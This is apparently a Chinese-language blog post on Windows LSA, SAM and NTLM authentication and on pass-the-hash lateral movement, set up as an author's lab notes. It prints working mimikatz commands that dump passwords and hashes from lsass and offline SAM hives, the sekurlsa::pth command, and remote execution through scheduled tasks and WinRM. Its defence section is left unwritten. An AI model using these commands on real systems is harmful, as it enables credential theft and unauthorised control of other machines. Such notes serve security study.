[Credential Access] NTLM认证与哈希传递

一、引子

在未打KB2871997补丁的win7系统上,使用mimikatz执行以下命令:

# 注:为了与lsass.exe交互,需要以administrator权限启动mimikatz并获得debug权限;或者以system权限启动mimikatz
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

 

mimikatz从Lsass.exe中dump出了一堆明文密码和NTLM Hash, 其中的msv, tspkg, wdigest, kerberos等等都对应不同的ssp(security service provider), 代表不同的windows 认证方式。

可以看到,Lsass.exe里不仅缓存了本地账户test的明文密码和NTLM Hash,还有使用此机器远程桌面连接到sec/lucy的明文密码。

 

 

 

二、LSA(Local Security Authority)服务

即本地安全权限服务,用于管理本地安全和登录策略,像验证用户登录、修改密码、新建访问令牌都会涉及到LSA。

主进程是Lsass.exe,其中Lsasrv.dll实现了Local Security Authority service的大部分功能,它会加载各类ssp dll,用于支持各种不同的windows验证方式。比如,Kerberos协议多用于域环境下身份验证,NTLM多用于工作组环境身份验证,CredSSP用于RDP远程桌面连接验证。

而Lsass.exe会缓存用户凭据,有明文形式(严格来说应该是可逆加密的明文)也有Hash,这取决于不同ssp的实现方式。

LSASS常见的ssp 认证包(Security Support Provider authentication packages ) 有:

 

 

LSASS会存储的凭据有:

 

 接下来,我们重点关注下NTLM Msv1_0.dll 这条线,这是后面哈希传递的基础。

1. SAM database

SAM是管理SAM database的服务,SAM database中存储了本地用户的密码Hash信息;早期windows使用LM Hash,但其易于破解,从windows Vista和windows server 2008开始默认禁用LM Hash;现在使用的是NTLM Hash。

SAM database存储在HKLM\SAM中,访问它需要system权限。可通过regedit 查看HKLM\SAM: 以Administrator权限,执行".\PsExec.exe -accepteula -i -s regedit.exe" ,就可以以system权限启动regedit.exe了。

注意,SAM database只存储本地用户的凭据,不会存登录过的域账号的凭据,在域控制器上 SAM 文件相当于活动目录数据库文件 ntds.dit。

 

用mimikatz 在线dump NTLM Hash

首先run as Administrator, 此时mimikatz进程是high integrity,访问SAM database需要System权限,所以需要再提权。

 也可以类似上面使用PsExec.exe -s 启动mimikatz,此时mimikatz进程是system integrity,这时候直接执行"lsadump::sam"即可。

 

用mimikatz 离线dump NTLM Hash

如果目标机器没有装相应软件,则可以先dump出SAM文件和System文件(run as Administrator)

>  出于安全性的考虑在后期的 windows 系统中 SAM 文件中被 bootkey 加密,而 bootkey 则保存在这个SYSTEM 文件下。因此单独的 SAM 文件是无法正常解读的如果需要解密则还需要加载对应系统的 system 文件。

reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv

 再用mimikatz从SAM文件中读取HASH(此时就不需要高权限了)

mimikatz # lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv

 

拿到了密码的NTLM Hash,第一想到的是破解,但如果不是字典强大、或者密码已经猜了个八九不离十,很难破解出来,感兴趣可以用john ripper或hash cat体验一下破解NTLM Hash。

那拿到了NTLM Hash怎么横向移动呢? 这里引出了NTLM认证

 

2. NTML认证

注: NTML认证这块的文章,有的把NTLM认证分工作组环境和域环境,有的分为交互环境和非交互环境。我看着都觉得部分情况不能自圆其说,所以就直接按例子来说吧。

本地认证(本地账户登录)

将用户输入的密码加密为NTLM HASH后与SAM中的NTLM比较,若一致则认证通过

 

 

两方: client与server/DC (域账户登录需要DC认证,已登录账户需要访问工作组环境里server资源,需要server认证)

 

 

三方: client, server和DC (已登录账户,想访问域中server资源,需要DC认证)

 

 

三、Pass the Hash

在上面的第三步中,客户端用本地NTLM Hash加密challenge生成response发送给服务端。可以看到,尽管没有明文密码,但如果拿到了NTLM Hash,就能用它加密challenge,完成验证。

 

这里mimikatz替换了内存中的NTLM hash值,启动了一个powershell,可在这个命令行环境中控制远程目标机器。(本来也拿到了test 用户的NTLM Hash,但用它横向移动时一直是permission denied,还不知道原因)

mimikatz # sekurlsa::pth /user:Administrator /domain:WORKGROUP /ntlm:******************************** /run:powershell.exe

 

 

Pass the Hash 只是一种无明文认证的手段,我们还需要针对具体的服务进行攻击。这里以smb服务为例,smb服务使用了NTLM认证

1. 读文件、拷贝本地文件到远程主机都没什么问题

 

2. 列出远程机器进程列表

 

3. 创建定时任务来执行命令,at 命令或schtasks命令,启动的子进程是System权限,nice~

PS C:\Windows\system32> at \\192.168.240.128 4:37PM C:\Windows\System32\calc.exe
AT 命令已弃用。请改用 schtasks.exe。

新加了一项作业,其作业 ID = 3

 创建定时任务来执行命令不太方便,如果有直接在powershell 命令行环境可以远程执行命令的方法再补充。

 

4. 使用winrm来远程执行命令

目标机上开启winrm服务:

Enable-PSRemoting -Force

 

 使用此powershell命令开启winrm服务,会帮忙把防火墙规则也设置好,否则还是无法接收winrm命令。

 

攻击机上,将目标机加入trust host(工作组环境才需要做这一步)

Set-Item wsman:\localhost\client\trustedhosts 192.168.240.134
Restart-Service Winrm

 

攻击机上,使用mimikatz pass the hash和winrm控制目标机

 

 

 

 

 

PSSession是一个交互式命令会话窗口,也可以直接使用Invoke-Command执行命令或脚本文件

PS C:\Windows\system32> Invoke-Command -ComputerName win10-pc -ScriptBlock {Get-ChildItem c:\}


    Directory: C:\


Mode                LastWriteTime         Length Name                                PSComputerName
----                -------------         ------ ----                                --------------
d-----        2019/3/19     12:52                PerfLogs                            win10-pc
d-r---        2020/3/12     15:53                Program Files                       win10-pc
d-r---        2020/3/13     11:20                Program Files (x86)                 win10-pc
d-----        2020/3/12     17:08                RedTeam                             win10-pc
d-----        2020/3/12     17:08                totalcmd                            win10-pc
d-r---        2020/3/12     14:33                Users                               win10-pc
d-----        2020/3/13     10:14                Windows                             win10-pc

 

 

其他有用的命令

# Enable PowerShell Remoting on the target (box needs to be compromised first)
Enable-PSRemoting -force
​
# Check if a given system is listening on WinRM port
Test-NetConnection <IP> -CommonTCPPort WINRM
​
# Trust all hosts:
Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
​
# Check what hosts are trusted
Get-Item WSMan:\localhost\Client\TrustedHosts
​
# Execute command on remote host
Invoke-Command <host> -Credential $cred -ScriptBlock {Hostname}
​
# Interactive session with explicit credentials
Enter-PSSession <host> -Credential <domain>\<user># Interactive session using Kerberos:
Enter-PSSession <host> -Authentication Kerberos
​
# Upload file to remote session
Copy-Item -Path C:\Temp\PowerView.ps1 -Destination C:\Temp\ -ToSession (Get-PSSession)
​
# Download file from remote session
Copy-Item -Path C:\Users\Administrator\Desktop\test.txt -Destination C:\Temp\ -FromSession (Get-PSSession)

# 清除pssession
Remove-PSSession -ComputerName <host>

# 重启winrm 服务
Restart-Service Winrm

 

 

四、防御 待补充

 

 

五、参考

https://xz.aliyun.com/t/6600#toc-1

http://blog.sycsec.com/2018/10/02/What-is-Pass-the-Hash-and-the-Limitations-of-mitigation-methods/#%E5%B7%A5%E4%BD%9C%E7%BB%84%E7%8E%AF%E5%A2%83

https://1sparrow.com/2019/12/04/Windows%20%E8%BA%AB%E4%BB%BD%E9%AA%8C%E8%AF%81%E4%BD%93%E7%B3%BB%E7%BB%93%E6%9E%84/

https://medium.com/blue-team/preventing-mimikatz-attacks-ed283e7ebdd5

https://ired.team/offensive-security/lateral-movement/t1028-winrm-for-lateral-movement

Cached and Stored Credentials Technical Overview

posted @ 2020-03-08 16:45  ring_lcy  阅读(1072)  评论(0编辑  收藏  举报